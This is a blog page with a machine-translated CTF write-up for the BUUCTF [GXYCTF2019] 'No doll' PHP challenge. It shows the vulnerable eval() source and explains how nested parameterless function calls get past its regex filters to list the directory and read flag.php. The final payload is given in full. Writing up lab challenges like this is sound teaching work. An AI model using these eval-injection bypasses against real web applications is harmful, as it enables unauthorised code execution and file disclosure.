当前位置:网站首页>Buuctf-[gxyctf2019] no dolls (xiaoyute detailed explanation)
Buuctf-[gxyctf2019] no dolls (xiaoyute detailed explanation)
2022-07-06 06:00:00 【Xiaoyute detailed explanation】
buuctf-[GXYCTF2019] No doll ( Xiaoyute detailed explanation )
Let's look at the question first
There is no useful information found here , First use dirsearch To blow up but didn't find anything useful , At this time, I suspect there is git Leaked the use here githack Detection found index.php
Look at the source code here
<?php
2 include "flag.php";
3 echo "flag Where is it ?<br>";
4 if(isset($_GET['exp'])){
// Need to be GET The form passes in a name exp Parameters of . If the conditions are met, this... Will be executed exp Parameter content .
5 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
// Several common pseudo protocols are filtered , Cannot read file with pseudo Protocol .
6 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
//(?R) Reference the current expression , I added ? Recursively call . You can only match through parameterless functions .
7 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// Regular matches are missing et/na/info Other key words , Many functions don't work .
8 // echo $_GET['exp'];
9 @eval($_GET['exp']);
10 }
11 else{
12 die(" It's a little bit close to !");
13 }
14 }
15 else{
16 die(" Think about it !");
17 }
18 }
19 else{
20 die(" Still want to read flag, Smelly brother !");
21 }
22 }
23 // highlight_file(__FILE__);
24 ?>
The key point is
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
there ?R It means
Reference the current expression , Add... To the back ? It's a recursive call
therefore exp Must be a(b()); This type is OK
We learned from the source code flag stay flag.php in
Just find a way to read
scandir() Function can scan files in the current directory
<?php
print_r(scandir('.'));
?>
structure scandir(’.’) Can
It's used here 2 A function
localeconv() Function returns an array of local numbers and currency format information . And the first item in the array is .
current() Returns the current cell in the array , The first value is taken by default .
Note here
current(localeconv()) Always a point
First step
?exp=print_r(scandir(current(localeconv())));
Here you need to read the penultimate array
Two functions are also used here
next(): The function points the internal pointer to the next element in the array , And the output
array_reverse(): Array returns the array in the reverse order of elements
final payload
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
边栏推荐
- 进程和线程
- Jushan database appears again in the gold fair to jointly build a new era of digital economy
- Auto. JS learning notes 17: basic listening events and UI simple click event operations
- Yygh-11-timing statistics
- Report on the competition status and investment decision recommendations of Guangxi hospital industry in China from 2022 to 2028
- H3C S5820V2_5830V2交换机IRF2堆叠后升级方法
- Hongliao Technology: how to quickly improve Tiktok store
- continue和break的区别与用法
- Station B, Master Liu Er - back propagation
- A master in the field of software architecture -- Reading Notes of the beauty of Architecture
猜你喜欢
IP day 16 VLAN MPLS configuration
[experience] install Visio on win11
IDEA 新UI使用
Detailed explanation of BF and KMP
LAN communication process in the same network segment
嵌入式面试题(四、常见算法)
关于 PHP 启动 MongoDb 找不到指定模块问题
Configuring OSPF GR features for Huawei devices
Embedded point test of app
Station B Liu Erden - linear regression and gradient descent
随机推荐
continue和break的区别与用法
Raised a kitten
Analysis report on development trends and investment planning of China's methanol industry from 2022 to 2028
Bit operation rules
ContentType的作用
AUTOSAR from getting started to becoming proficient (10) - embedded S19 file analysis
AUTOSAR从入门到精通番外篇(十)-嵌入式S19文件解析
Dynamic programming -- knapsack problem
初识数据库
Yunxiaoduo software internal test distribution test platform description document
Migrate Infones to stm32
How Huawei routers configure static routes
Garbage collector with serial, throughput priority and response time priority
Market development prospect and investment risk assessment report of China's humidity sensor industry from 2022 to 2028
[paper reading] nflowjs: synthetic negative data intensive anomaly detection based on robust learning
华为路由器忘记密码怎么恢复
类和对象(一)this指针详解
[Jiudu OJ 08] simple search x
清除浮动的方式
Arrays and collections